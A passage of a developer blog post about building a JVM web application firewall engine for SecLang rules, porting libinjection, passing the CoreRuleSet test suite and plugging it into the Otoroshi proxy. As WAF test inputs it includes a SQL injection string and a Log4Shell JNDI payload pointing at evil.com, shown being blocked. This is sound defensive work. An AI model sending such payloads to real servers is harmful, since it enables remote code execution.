<li><p><strong>Operators</strong> (15+): Perform the actual matching (<code>@rx</code> for regex, <code>@pm</code> for phrase match, <code>@contains</code>, <code>@beginsWith</code>, <code>@ipMatch</code>, <code>@detectSQLi</code>, <code>@detectXSS</code>, etc.).</p>
</li>
<li><p><strong>Actions</strong>: Execute on match (<code>block</code>, <code>pass</code>, <code>deny</code>, <code>setvar</code> for TX variables, <code>skip</code>, <code>skipAfter</code> for flow control, etc.).</p>
</li>
</ul>
<p>Here's a taste of how operators are implemented:</p>
<pre><code class="lang-scala"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">matchOperator</span></span>(op: <span class="hljs-type">Operator</span>, value: <span class="hljs-type">String</span>): <span class="hljs-type">Boolean</span> = op <span class="hljs-keyword">match</span> {
  <span class="hljs-keyword">case</span> <span class="hljs-type">Operator</span>.<span class="hljs-type">Rx</span>(pattern) =&gt; <span class="hljs-type">RegexPool</span>.regex(pattern).findFirstIn(value).isDefined
  <span class="hljs-keyword">case</span> <span class="hljs-type">Operator</span>.<span class="hljs-type">Pm</span>(phrases) =&gt; phrases.exists(p =&gt; value.toLowerCase.contains(p.toLowerCase))
  <span class="hljs-keyword">case</span> <span class="hljs-type">Operator</span>.<span class="hljs-type">Contains</span>(s) =&gt; value.contains(s)
  <span class="hljs-keyword">case</span> <span class="hljs-type">Operator</span>.<span class="hljs-type">IpMatch</span>(ranges) =&gt; ranges.exists(_.contains(<span class="hljs-type">InetAddress</span>.getByName(value)))
  <span class="hljs-comment">// ... etc</span>
}
</code></pre>
<h2 id="heading-part-4-the-libinjection-challenge">Part 4: The libinjection Challenge</h2>
<p>As I was implementing operators, I hit a wall: SecLang includes <code>@detectSQLi</code> and <code>@detectXSS</code> operators that use <a target="_blank" href="https://github.com/libinjection/libinjection">libinjection</a>, a C library for detecting SQL injection and XSS attacks. There was no Java/Scala port. So I had two options:</p>
<ul>
<li><p>give up</p>
</li>
<li><p>or port a 4,000-line C security library to Java</p>
</li>
</ul>
<p>Guess which one I chose.</p>
<p>libinjection uses a clever technique: instead of regex patterns, it <em>tokenizes</em> input and generates a "fingerprint" that's matched against known attack patterns. For example, the SQL input <code>1' OR '1'='1</code> gets tokenized and folded into <code>[s, &amp;, s]</code> (string, boolean operator, string), then matched against 9,000+ known SQLi fingerprints. XSS detection works similarly using HTML5 tokenization to detect dangerous tags, attributes, and URL schemes.</p>
<p>The port took considerable effort—the original C code is 4,000+ lines with lots of pointer arithmetic. My friend Claude's help was invaluable here, helping me translate idioms and catch edge cases. The result is <a target="_blank" href="https://github.com/cloud-apim/libinjection-jvm">libinjection-jvm</a>, a zero-dependency Java library with full test suite compatibility.</p>
<h2 id="heading-part-5-the-coreruleset-test-suite">Part 5: The CoreRuleSet Test Suite</h2>
<p>Building the engine was one thing. Proving it worked was another.</p>
<p>The CoreRuleSet project includes a comprehensive <a target="_blank" href="https://github.com/coreruleset/coreruleset/tree/main/tests/regression/tests">test suite</a> with over 4,000 tests in YAML format:</p>
<pre><code class="lang-yaml"><span class="hljs-bullet">-</span> <span class="hljs-attr">test_id:</span> <span class="hljs-number">1</span>
  <span class="hljs-attr">desc:</span> <span class="hljs-string">"Test SQL injection detection"</span>
  <span class="hljs-attr">stages:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">input:</span>
        <span class="hljs-attr">method:</span> <span class="hljs-string">"GET"</span>
        <span class="hljs-attr">uri:</span> <span class="hljs-string">"/test?id=1' OR '1'='1"</span>
      <span class="hljs-attr">output:</span>
        <span class="hljs-attr">log:</span>
          <span class="hljs-attr">expect_ids:</span> [<span class="hljs-number">942100</span>]
</code></pre>
<p>I wrote a test runner that:</p>
<ol>
<li><p>Parses the YAML test definitions</p>
</li>
<li><p>Constructs <code>RequestContext</code> objects from the test input</p>
</li>
<li><p>Runs the engine against the CRS rules</p>
</li>
<li><p>Verifies the expected outcome (blocked or allowed)</p>
</li>
</ol>
<p>The CRS test suite turned out to be as much a specification of behavior as a validation tool.</p>
<p>The first run: <strong>40% pass rate</strong> and after a few hours of simple fixes: <strong>60% pass rate</strong>.</p>
<p>Then began the debugging marathon. Some failures were engine bugs. Others were test runner bugs. A few were my misunderstanding of SecLang semantics.</p>
<pre><code class="lang-plaintext">Test: 942100-1
Expected: BLOCKED
Got: ALLOWED
Rule: SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|... "@rx (?i)..." ...
Issue: Regex flag handling in negative lookahead
</code></pre>
<p>One by one, I fixed issues:</p>
<ul>
<li><p>Regex flags not properly propagated</p>
</li>
<li><p>TX variable increment semantics</p>
</li>
<li><p>Chain evaluation short-circuit logic</p>
</li>
<li><p>Transformation ordering</p>
</li>
<li><p>Case sensitivity in header matching</p>
</li>
<li><p>Phase 5 logging-only rules incorrectly blocking</p>
</li>
</ul>
<p>This part was an emotional roller coaster—some patches would fix only a single test while others would fix around 200 at once. But after one week of work: <strong>100% pass rate across 4,138 tests</strong>.</p>
<pre><code class="lang-json">{
  <span class="hljs-attr">"global_stats"</span>: {
    <span class="hljs-attr">"passing_percentage"</span>: <span class="hljs-number">100</span>,
    <span class="hljs-attr">"total_tests"</span>: <span class="hljs-number">4174</span>,
    <span class="hljs-attr">"success_tests"</span>: <span class="hljs-number">4174</span>,
    <span class="hljs-attr">"failure_tests"</span>: <span class="hljs-number">0</span>
  },
  <span class="hljs-attr">"time_stats"</span>: {
    <span class="hljs-attr">"total_time_ms"</span>: <span class="hljs-number">25945</span>,
    <span class="hljs-attr">"avg_time_ms"</span>: <span class="hljs-number">6</span>,
    <span class="hljs-attr">"min_time_ms"</span>: <span class="hljs-number">1</span>,
    <span class="hljs-attr">"max_time_ms"</span>: <span class="hljs-number">4242</span>
  }
}
</code></pre>
<h3 id="heading-the-apache-problem">The Apache Problem</h3>
<p>Here's something I didn't anticipate: the official CRS test suite was designed to test ModSecurity + CRS running inside Apache, in a Docker container. The test harness sends real HTTP requests to the container and checks the responses.</p>
<p>The problem? Some tests weren't actually testing WAF behavior—they were testing Apache's behavior. For example, Apache rejects certain malformed requests (invalid characters in URIs, malformed HTTP lines) <em>before</em> they even reach ModSecurity. The test expected a block, but the block came from Apache, not from CRS rules.</p>
<p>When running the same tests against a pure SecLang engine with no Apache in front, these tests would fail—not because my engine was wrong, but because the test assumed Apache's preprocessing.</p>
<p>Since my test runner evaluates rules directly (no reverse proxy involved), I had to identify these cases and change the acceptance criteria. Instead of checking that the server responds with a 400 status (which would be Apache's doing), I modified the tests to verify that a specific CRS rule was matched. Same malicious input, but now testing the actual WAF behavior. This work could potentially benefit the upstream CRS project for anyone building alternative SecLang implementations.</p>
<h2 id="heading-part-6-the-factory-pattern-for-multi-tenancy">Part 6: The Factory Pattern for Multi-Tenancy</h2>
<p>At Cloud APIM, we run multi-tenant infrastructure. Multiple customers can share Otoroshi instances (or use their own), each with their own WAF configurations. We needed:</p>
<ol>
<li><p><strong>Shared base rules</strong>: CRS loaded once, shared across all tenants</p>
</li>
<li><p><strong>Per-tenant customization</strong>: Each tenant can add/remove rules</p>
</li>
<li><p><strong>Efficient caching</strong>: Compiled programs cached and reused</p>
</li>
</ol>
<p>In practice, multi-tenancy tends to turn configuration into a first-class scalability concern, on par with CPU and memory.</p>
<p>The solution: a factory pattern with presets.</p>
<pre><code class="lang-scala"><span class="hljs-comment">// Define reusable presets</span>
<span class="hljs-keyword">val</span> presets = <span class="hljs-type">Map</span>(
  <span class="hljs-string">"crs"</span> -&gt; <span class="hljs-type">SecLangPreset</span>.fromResources(<span class="hljs-string">"crs"</span>,
    <span class="hljs-string">"/coreruleset/crs-setup.conf.example"</span>,
    <span class="hljs-string">"/coreruleset/rules/*.conf"</span>
  )
)

<span class="hljs-comment">// Create factory</span>
<span class="hljs-keyword">val</span> factory = <span class="hljs-type">SecLang</span>.factory(presets)

<span class="hljs-comment">// Tenant-specific configuration</span>
<span class="hljs-keyword">val</span> tenantRules = <span class="hljs-type">List</span>(
  <span class="hljs-string">"@import_preset crs"</span>,
  <span class="hljs-string">""</span><span class="hljs-string">"SecRuleRemoveById 942100"</span><span class="hljs-string">""</span>,  <span class="hljs-comment">// Disable specific rule</span>
  <span class="hljs-string">""</span><span class="hljs-string">"SecRule REQUEST_URI "</span><span class="hljs-meta">@contains</span> /<span class="hljs-string">health" "</span>id:<span class="hljs-number">10001</span>,phase:<span class="hljs-number">1</span>,allow,<span class="hljs-string">nolog" "</span><span class="hljs-string">""</span>,
  <span class="hljs-string">"SecRuleEngine On"</span>
)

<span class="hljs-comment">// Get compiled engine (cached)</span>
<span class="hljs-keyword">val</span> engine = factory.engine(tenantRules)
</code></pre>
<p>The factory:</p>
<ul>
<li><p>Compiles each unique rule configuration once</p>
</li>
<li><p>Caches <code>CompiledProgram</code> instances with configurable TTL</p>
</li>
<li><p>Supports rule composition through preset imports</p>
</li>
<li><p>Thread-safe for concurrent access</p>
</li>
</ul>
<h2 id="heading-part-7-otoroshi-integration">Part 7: Otoroshi Integration</h2>
<p>The final piece: integrating the engine into <a target="_blank" href="https://github.com/MAIF/otoroshi">Otoroshi</a> as an extension. Otoroshi is an open-source HTTP reverse proxy written in Scala that I created several years ago. One of the main perks of Otoroshi is that it's a very extensible project where you can easily write and use your own plugins and extensions.</p>
<h3 id="heading-the-waf-configuration-entity">The WAF Configuration Entity</h3>
<p>With this extension, a new entity becomes available to configure WAF behavior (not an actual WAF instance per se, but you know what I mean). One important aspect here is the ability to toggle body inspection. By design, Otoroshi doesn't load request or response bodies into memory—it streams them. So there's a tradeoff: enabling body inspection makes Otoroshi a bit slower and heavier on RAM, but allows the WAF to detect attacks hidden in payloads.</p>
<pre><code class="lang-scala"><span class="hljs-keyword">case</span> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">CloudApimWafConfig</span>(<span class="hljs-params">
  id: <span class="hljs-type">String</span>,
  name: <span class="hljs-type">String</span>,
  enabled: <span class="hljs-type">Boolean</span> = true,
  block: <span class="hljs-type">Boolean</span> = true,              // <span class="hljs-type">Block</span> vs. monitor-only
  inspectInputBody: <span class="hljs-type">Boolean</span> = true,
  inspectOutputBody: <span class="hljs-type">Boolean</span> = true,
  inputBodyLimit: <span class="hljs-type">Option</span>[<span class="hljs-type">Long</span>] = <span class="hljs-type">None</span>,
  outputBodyLimit: <span class="hljs-type">Option</span>[<span class="hljs-type">Long</span>] = <span class="hljs-type">None</span>,
  outputBodyMimetypes: <span class="hljs-type">Seq</span>[<span class="hljs-type">String</span>] = <span class="hljs-type">Seq</span>.empty,
  rules: <span class="hljs-type">Seq</span>[<span class="hljs-type">String</span>] = <span class="hljs-type">Seq</span>.empty
</span>)</span>
</code></pre>
<p>Configuration example:</p>
<pre><code class="lang-json">{
  <span class="hljs-attr">"id"</span>: <span class="hljs-string">"waf-config_production"</span>,
  <span class="hljs-attr">"name"</span>: <span class="hljs-string">"Production WAF"</span>,
  <span class="hljs-attr">"enabled"</span>: <span class="hljs-literal">true</span>,
  <span class="hljs-attr">"block"</span>: <span class="hljs-literal">true</span>,
  <span class="hljs-attr">"inspect_input_body"</span>: <span class="hljs-literal">true</span>,
  <span class="hljs-attr">"inspect_output_body"</span>: <span class="hljs-literal">true</span>,
  <span class="hljs-attr">"input_body_limit"</span>: <span class="hljs-number">1048576</span>,
  <span class="hljs-attr">"output_body_limit"</span>: <span class="hljs-number">1048576</span>,
  <span class="hljs-attr">"output_body_mimetypes"</span>: [<span class="hljs-string">"text/html"</span>, <span class="hljs-string">"application/json"</span>],
  <span class="hljs-attr">"rules"</span>: [
    <span class="hljs-string">"@import_preset crs"</span>,
    <span class="hljs-string">"SecRuleRemoveById 942100"</span>,
    <span class="hljs-string">"SecRuleEngine On"</span>
  ]
}
</code></pre>
<h3 id="heading-the-plugin">The Plugin</h3>
<p>The plugin hooks into Otoroshi's request/response pipeline:</p>
<pre><code class="lang-scala"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">CloudApimWaf</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">NgRequestTransformer</span> </span>{

  <span class="hljs-keyword">override</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">transformRequest</span></span>(ctx: <span class="hljs-type">NgTransformerRequestContext</span>): <span class="hljs-type">Future</span>[<span class="hljs-type">Either</span>[<span class="hljs-type">Result</span>, <span class="hljs-type">NgPluginHttpRequest</span>]] = {
    <span class="hljs-keyword">val</span> wafConfig = getConfig(ctx)
    <span class="hljs-keyword">val</span> engine = ext.factory.engine(wafConfig.rules.toList)

    <span class="hljs-keyword">val</span> requestCtx = buildRequestContext(ctx.request, ctx.body)
    <span class="hljs-keyword">val</span> result = engine.evaluate(requestCtx, <span class="hljs-type">List</span>(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">5</span>))

    result.disposition <span class="hljs-keyword">match</span> {
      <span class="hljs-keyword">case</span> <span class="hljs-type">Disposition</span>.<span class="hljs-type">Continue</span> =&gt;
        ctx.otoroshiRequest.rightf

      <span class="hljs-keyword">case</span> <span class="hljs-type">Disposition</span>.<span class="hljs-type">Block</span>(status, msg, ruleId) <span class="hljs-keyword">if</span> wafConfig.block =&gt;
        emitEvent(result, ctx)
        <span class="hljs-type">Results</span>.<span class="hljs-type">Status</span>(status)(buildErrorResponse(msg, ruleId)).leftf

      <span class="hljs-keyword">case</span> <span class="hljs-type">Disposition</span>.<span class="hljs-type">Block</span>(_, _, _) =&gt;
        <span class="hljs-comment">// Monitor mode - log but don't block</span>
        emitEvent(result, ctx)
        ctx.otoroshiRequest.rightf
    }
  }

  <span class="hljs-keyword">override</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">transformResponse</span></span>(ctx: <span class="hljs-type">NgTransformerResponseContext</span>): <span class="hljs-type">Future</span>[<span class="hljs-type">Either</span>[<span class="hljs-type">Result</span>, <span class="hljs-type">NgPluginHttpResponse</span>]] = {
    <span class="hljs-comment">// Similar logic for response phases (3, 4, 5)</span>
  }
}
</code></pre>
<h2 id="heading-performance-characteristics">Performance Characteristics</h2>
<p>After all optimizations, here's how the native implementation compares to our previous WASM-based solution:</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Metric</td><td>WASM (Coraza)</td><td>Native (seclang-engine)</td></tr>
</thead>
<tbody>
<tr>
<td>Memory per config</td><td>~20MB/instance</td><td>~20KB/instance + ~2MB (shared CRS)</td></tr>
<tr>
<td>Concurrency model</td><td>Multiple VMs needed</td><td>One engine per request, Single instance config., thread-safe</td></tr>
<tr>
<td>Rule sharing</td><td>None (duplicated per VM)</td><td>Full sharing via presets</td></tr>
<tr>
<td>Serialization overhead</td><td>JVM ↔ WASM on every request</td><td>Zero (native objects)</td></tr>
<tr>
<td>Startup time</td><td>~1500ms per VM</td><td>one shot ~800ms to parse/compile CRS + ~10ms per uncached config.</td></tr>
</tbody>
</table>
</div><p>And here are the raw performance numbers:</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Metric</td><td>Value</td></tr>
</thead>
<tbody>
<tr>
<td>CRS evaluation on a legit request/response</td><td>around 8ms</td></tr>
<tr>
<td>CRS evaluation on a suspicious request</td><td>around 3ms for a Log4Shell attack</td></tr>
<tr>
<td>Regex compilation</td><td>Cached, zero-cost reuse</td></tr>
</tbody>
</table>
</div><p>Compared to our WASM-based setup, the native engine:</p>
<ul>
<li><p>uses ~1000x less memory per configuration,</p>
</li>
<li><p>removes serialization overhead,</p>
</li>
<li><p>scales naturally with JVM threads,</p>
</li>
<li><p>enables true multi-tenancy.</p>
</li>
</ul>
<p>Here is a typical test running on my early 2024 MacBook Pro (M3 Pro), using <code>oha</code> with a legit request at 500 calls/sec over 1 minute:</p>
<pre><code class="lang-sh">$ oha -q 500 -c 200 -z 1m http://cawaf.oto.tools:9999 -H <span class="hljs-string">'apk: foo'</span> 

Summary:
  Success rate:    100.00%
  Total:    60004.7775 ms
  Slowest:    26.1541 ms
  Fastest:    2.2883 ms
  Average:    2.9967 ms
  Requests/sec:    500.0102

  Total data:    175.78 KiB
  Size/request:    6 B
  Size/sec:    2.93 KiB

Response time histogram:
   2.288 ms [1]     |
   4.675 ms [28740] |■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
   7.061 ms [961]   |■
   9.448 ms [221]   |
  11.835 ms [41]    |
  14.221 ms [17]    |
  16.608 ms [9]     |
  18.994 ms [2]     |
  21.381 ms [3]     |
  23.768 ms [3]     |
  26.154 ms [1]     |

Response time distribution:
  10.00% <span class="hljs-keyword">in</span> 2.4673 ms
  25.00% <span class="hljs-keyword">in</span> 2.5795 ms
  50.00% <span class="hljs-keyword">in</span> 2.7420 ms
  75.00% <span class="hljs-keyword">in</span> 3.0413 ms
  90.00% <span class="hljs-keyword">in</span> 3.6479 ms
  95.00% <span class="hljs-keyword">in</span> 4.4046 ms
  99.00% <span class="hljs-keyword">in</span> 7.0370 ms
  99.90% <span class="hljs-keyword">in</span> 12.2985 ms
  99.99% <span class="hljs-keyword">in</span> 23.6878 ms


Details (average, fastest, slowest):
  DNS+dialup:    0.2206 ms, 0.1046 ms, 1.5284 ms
  DNS-lookup:    0.0247 ms, 0.0045 ms, 0.4549 ms

Status code distribution:
  [200] 29999 responses
</code></pre>
<p>now the same test with a Log4Shell attack request</p>
<pre><code class="lang-sh">$ oha -q 500 -c 200 -z 1m http://cawaf.oto.tools:9999 -H <span class="hljs-string">'apk: ${jndi:ldap://evil.com/a}'</span>

Summary:
  Success rate: 100.00%
  Total:  60003.4310 ms
  Slowest:  43.2109 ms
  Fastest:  1.9636 ms
  Average:  9.6649 ms
  Requests/sec: 499.9881

  Total data: 615.21 KiB
  Size/request: 21 B
  Size/sec: 10.25 KiB

Response time histogram:
    1.964 ms [1]     |
    4.508 ms [28517] |■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
    8.213 ms [1303]  |■
   13.338 ms [37]    |
   17.463 ms [73]    |
   21.587 ms [41]    |
   26.712 ms [25]    |
   30.837 ms [0]     |
   34.961 ms [0]     |
   39.086 ms [0]     |
   43.211 ms [2]     |

Response time distribution:
  10.00% <span class="hljs-keyword">in</span> 2.2964 ms
  25.00% <span class="hljs-keyword">in</span> 2.3817 ms
  50.00% <span class="hljs-keyword">in</span> 2.5813 ms
  75.00% <span class="hljs-keyword">in</span> 4.0106 ms
  90.00% <span class="hljs-keyword">in</span> 3.5270 ms
  95.00% <span class="hljs-keyword">in</span> 4.7680 ms
  99.00% <span class="hljs-keyword">in</span> 6.6709 ms
  99.90% <span class="hljs-keyword">in</span> 21.6669 ms
  99.99% <span class="hljs-keyword">in</span> 25.4090 ms


Details (average, fastest, slowest):
  DNS+dialup: 0.9616 ms, 0.0578 ms, 4.4482 ms
  DNS-lookup: 0.0190 ms, 0.0028 ms, 1.4588 ms

Status code distribution:
  [400] 29999 responses
</code></pre>
<p>Key optimizations:</p>
<ol>
<li><p><strong>RegexPool</strong>: Pre-compiled patterns cached by string key</p>
</li>
<li><p><strong>Early exit</strong>: Stop processing on first block disposition</p>
</li>
<li><p><strong>Phase-organized rules</strong>: Only load rules relevant to current phase</p>
</li>
<li><p><strong>Immutable programs</strong>: Compiled once, shared safely across threads</p>
</li>
<li><p><strong>TrieMap for TX variables</strong>: Thread-safe without locking</p>
</li>
</ol>
<h2 id="heading-whats-not-implemented-yet">What's Not Implemented (Yet)</h2>
<p>For transparency: not every SecLang feature made the cut. The missing pieces fall into three categories:</p>
<ol>
<li><p><strong>Legacy cruft</strong>: Parity bit transformations (<code>parityEven7bit</code>, etc.) from the modem era. No modern use case.</p>
</li>
<li><p><strong>External dependencies</strong>: <code>@geoLookup</code> (needs MaxMind DB), <code>@rbl</code> (DNS lookups), <code>SESSION</code> variables (needs session store). These add latency and complexity—better handled by dedicated infrastructure components. Otoroshi has its own GeoIP plugin anyway.</p>
</li>
<li><p><strong>Domain-specific validation</strong>: <code>@verifyCC</code>, <code>@verifyCPF</code>, <code>@verifySSN</code> for credit cards and tax IDs. Not used by CRS, rarely needed in API security.</p>
</li>
</ol>
<p>The 100% pass rate on CRS's 4,138 tests proves that everything needed for real-world protection is there. And if you do need something custom, the <code>SecLangIntegration</code> trait lets you hook in your own implementations without forking the engine.</p>
<h2 id="heading-getting-started-with-seclang-engine">Getting Started with seclang-engine</h2>
<p>Want to try it yourself? Here's a minimal example showing how to use the library in your Scala project.</p>
<p>First, add the dependency to your <code>build.sbt</code>:</p>
<pre><code class="lang-scala">libraryDependencies += <span class="hljs-string">"com.cloud-apim"</span> %% <span class="hljs-string">"seclang-engine"</span> % <span class="hljs-string">"1.5.0"</span>
</code></pre>
<p>Then, here's a complete working example:</p>
<pre><code class="lang-scala"><span class="hljs-keyword">import</span> com.cloud.apim.seclang.model._
<span class="hljs-keyword">import</span> com.cloud.apim.seclang.scaladsl.<span class="hljs-type">SecLang</span>

<span class="hljs-class"><span class="hljs-keyword">object</span> <span class="hljs-title">WafExample</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">App</span> </span>{

  <span class="hljs-comment">// 1. Define your SecLang rules</span>
  <span class="hljs-keyword">val</span> rules = <span class="hljs-string">""</span><span class="hljs-string">"
    |SecRule REQUEST_HEADERS:User-Agent "</span><span class="hljs-meta">@pm</span> <span class="hljs-string">firefox" \
    |    "</span>id:<span class="hljs-number">1001</span>,\
    |    phase:<span class="hljs-number">1</span>,\
    |    block,\
    |    t:none,t:lowercase,\
    |    msg:<span class="hljs-symbol">'Firefox</span> browser blocked',\
    |    status:<span class="hljs-number">403</span>,\
    |    severity:<span class="hljs-symbol">'CRITICA</span>L'<span class="hljs-string">"
    |
    |SecRule REQUEST_URI "</span><span class="hljs-meta">@contains</span> /<span class="hljs-string">admin" \
    |    "</span>id:<span class="hljs-number">1002</span>,\
    |    phase:<span class="hljs-number">1</span>,\
    |    block,\
    |    t:none,t:lowercase,\
    |    msg:<span class="hljs-symbol">'Admin</span> access denied',\
    |    status:<span class="hljs-number">403</span><span class="hljs-string">"
    |
    |SecRuleEngine On
    |"</span><span class="hljs-string">""</span>.stripMargin

  <span class="hljs-comment">// 2. Parse the rules into an AST</span>
  <span class="hljs-keyword">val</span> configuration = <span class="hljs-type">SecLang</span>.parse(rules) <span class="hljs-keyword">match</span> {
    <span class="hljs-keyword">case</span> <span class="hljs-type">Left</span>(error) =&gt; sys.error(<span class="hljs-string">s"Parse error: <span class="hljs-subst">$error</span>"</span>)
    <span class="hljs-keyword">case</span> <span class="hljs-type">Right</span>(config) =&gt; config
  }

  <span class="hljs-comment">// 3. Compile the AST into an executable program</span>
  <span class="hljs-keyword">val</span> program = <span class="hljs-type">SecLang</span>.compile(configuration)

  <span class="hljs-comment">// 4. Create the engine</span>
  <span class="hljs-keyword">val</span> engine = <span class="hljs-type">SecLang</span>.engine(program)

  <span class="hljs-comment">// 5. Build a request context to evaluate</span>
  <span class="hljs-keyword">val</span> request = <span class="hljs-type">RequestContext</span>(
    method = <span class="hljs-string">"GET"</span>,
    uri = <span class="hljs-string">"/api/users"</span>,
    headers = <span class="hljs-type">Headers</span>(<span class="hljs-type">Map</span>(
      <span class="hljs-string">"User-Agent"</span> -&gt; <span class="hljs-type">List</span>(<span class="hljs-string">"Mozilla/5.0 Chrome/120.0"</span>),
      <span class="hljs-string">"Host"</span> -&gt; <span class="hljs-type">List</span>(<span class="hljs-string">"example.com"</span>)
    )),
    query = <span class="hljs-type">Map</span>(<span class="hljs-string">"page"</span> -&gt; <span class="hljs-type">List</span>(<span class="hljs-string">"1"</span>))
  )

  <span class="hljs-comment">// 6. Evaluate the request against phases 1 and 2</span>
  <span class="hljs-keyword">val</span> result = engine.evaluate(request, phases = <span class="hljs-type">List</span>(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>))

  <span class="hljs-comment">// 7. Check the result</span>
  result.disposition <span class="hljs-keyword">match</span> {
    <span class="hljs-keyword">case</span> <span class="hljs-type">Disposition</span>.<span class="hljs-type">Continue</span> =&gt;
      println(<span class="hljs-string">"Request allowed"</span>)
    <span class="hljs-keyword">case</span> <span class="hljs-type">Disposition</span>.<span class="hljs-type">Block</span>(status, msg, ruleId) =&gt;
      println(<span class="hljs-string">s"Request blocked! Status: <span class="hljs-subst">$status</span>, Rule: <span class="hljs-subst">$ruleId</span>, Message: <span class="hljs-subst">$msg</span>"</span>)
  }
}
</code></pre>
<p>This example:</p>
<ul>
<li><p>Defines two simple rules: one blocking Firefox browsers and one blocking <code>/admin</code> access</p>
</li>
<li><p>Parses the rules using ANTLR under the hood</p>
</li>
<li><p>Compiles them into an optimized program</p>
</li>
<li><p>Creates an engine instance (thread-safe, can be reused)</p>
</li>
<li><p>Evaluates a sample request and checks if it should be blocked</p>
</li>
</ul>
<p>For production use with the OWASP CoreRuleSet, you can use the factory pattern with presets:</p>
<pre><code class="lang-scala"><span class="hljs-keyword">import</span> com.cloud.apim.seclang.model._
<span class="hljs-keyword">import</span> com.cloud.apim.seclang.scaladsl.{<span class="hljs-type">SecLang</span>, <span class="hljs-type">SecLangPresets</span>}

<span class="hljs-comment">// Create a factory with CRS preset</span>
<span class="hljs-keyword">val</span> factory = <span class="hljs-type">SecLang</span>.factory(<span class="hljs-type">Map</span>(<span class="hljs-string">"crs"</span> -&gt; <span class="hljs-type">SecLangPresets</span>.coreruleset))

<span class="hljs-comment">// Get an engine with CRS rules + custom exclusions</span>
<span class="hljs-keyword">val</span> engine = factory.engine(<span class="hljs-type">List</span>(
  <span class="hljs-string">"@import_preset crs"</span>,           <span class="hljs-comment">// Import all CRS rules</span>
  <span class="hljs-string">"SecRuleRemoveById 942100"</span>,     <span class="hljs-comment">// Disable a specific rule</span>
  <span class="hljs-string">"SecRuleEngine On"</span>
))

<span class="hljs-comment">// The factory caches compiled programs, so subsequent calls</span>
<span class="hljs-comment">// with the same rules return the cached engine instantly</span>

<span class="hljs-comment">// Test with a malicious request (Log4Shell attack)</span>
<span class="hljs-keyword">val</span> maliciousRequest = <span class="hljs-type">RequestContext</span>(
  method = <span class="hljs-string">"GET"</span>,
  uri = <span class="hljs-string">"/api/search"</span>,
  headers = <span class="hljs-type">Headers</span>(<span class="hljs-type">Map</span>(
    <span class="hljs-string">"User-Agent"</span> -&gt; <span class="hljs-type">List</span>(<span class="hljs-string">"Mozilla/5.0"</span>),
    <span class="hljs-string">"Host"</span> -&gt; <span class="hljs-type">List</span>(<span class="hljs-string">"example.com"</span>),
    <span class="hljs-string">"X-Api-Key"</span> -&gt; <span class="hljs-type">List</span>(<span class="hljs-string">"${jndi:ldap://evil.com/exploit}"</span>)  <span class="hljs-comment">// Log4Shell payload</span>
  ))
)

<span class="hljs-keyword">val</span> result = engine.evaluate(maliciousRequest, phases = <span class="hljs-type">List</span>(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>))

result.disposition <span class="hljs-keyword">match</span> {
  <span class="hljs-keyword">case</span> <span class="hljs-type">Disposition</span>.<span class="hljs-type">Continue</span> =&gt;
    println(<span class="hljs-string">"Request allowed"</span>)
  <span class="hljs-keyword">case</span> <span class="hljs-type">Disposition</span>.<span class="hljs-type">Block</span>(status, msg, ruleId) =&gt;
    println(<span class="hljs-string">s"Attack blocked! Rule <span class="hljs-subst">$ruleId</span>: <span class="hljs-subst">$msg</span>"</span>)
    <span class="hljs-comment">// Output: Attack blocked! Rule 944150: Potential Remote Command Execution: Log4j / Log4shell</span>
}
</code></pre>
<h2 id="heading-open-source">Open Source</h2>
<p>All of this work is open source:</p>
<ul>
<li><p><a target="_blank" href="https://github.com/cloud-apim/seclang-engine"><strong>seclang-engine</strong></a>: The core SecLang parser, compiler, and runtime</p>
</li>
<li><p><a target="_blank" href="https://github.com/cloud-apim/seclang-engine-coreruleset"><strong>seclang-engine-coreruleset</strong></a>: CRS bundle wrapper</p>
</li>
<li><p><a target="_blank" href="https://github.com/cloud-apim/libinjection-jvm"><strong>libinjection-jvm</strong></a>: Java port of libinjection</p>
</li>
<li><p><a target="_blank" href="https://github.com/cloud-apim/otoroshi-waf-extension"><strong>otoroshi-waf-extension</strong></a>: Otoroshi integration</p>
</li>
</ul>
<p>Since seclang-engine is a standalone library with both Java and Scala APIs, you can easily integrate it into any JVM project—whether it's a Jakarta EE application, Spring Boot, Quarkus, or Play Framework. Just add the dependency and start protecting your endpoints.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>What started as a Christmas vacation project turned into a comprehensive WAF implementation. The journey taught me:</p>
<ol>
<li><p><strong>Don't be intimidated by complexity</strong>: That ANTLR grammar turned an "impossible" parser into a weekend project.</p>
</li>
<li><p><strong>Test suites are gold</strong>: The CRS tests were invaluable for finding edge cases I never would have imagined.</p>
</li>
<li><p><strong>AI assistance is real</strong>: Claude Code helped me tackle the tedious parts (visitor methods, libinjection port) so I could focus on architecture.</p>
</li>
<li><p><strong>Multi-tenancy needs design</strong>: Caching and composition aren't afterthoughts—they need to be baked in from the start.</p>
</li>
</ol>
<p>The new WAF is now running in production on <a target="_blank" href="https://www.cloud-apim.com">Cloud APIM</a> managed Otoroshi instances and on Otoroshi deployments on <a target="_blank" href="https://www.clever.cloud/">Clever Cloud</a>. It's faster, more memory-efficient, and far more flexible than our WASM-based solution.</p>
<p>If you're interested in using <a target="_blank" href="https://github.com/cloud-apim/seclang-engine">seclang-engine</a> in your own JVM projects, check out the repositories above. And if you have questions or want to contribute, feel free to open issues or PRs!</p>
]]></content:encoded></item><item><title><![CDATA[Les Agents IA arrivent dans Otoroshi]]></title><description><![CDATA[Le monde des agents IA
Depuis quelques mois, tout le monde parle d’agents IA, à toutes les sauces ! Une sorte de machine à tout faire et une super intelligence interconnectée à tous nos outils du quotidien.
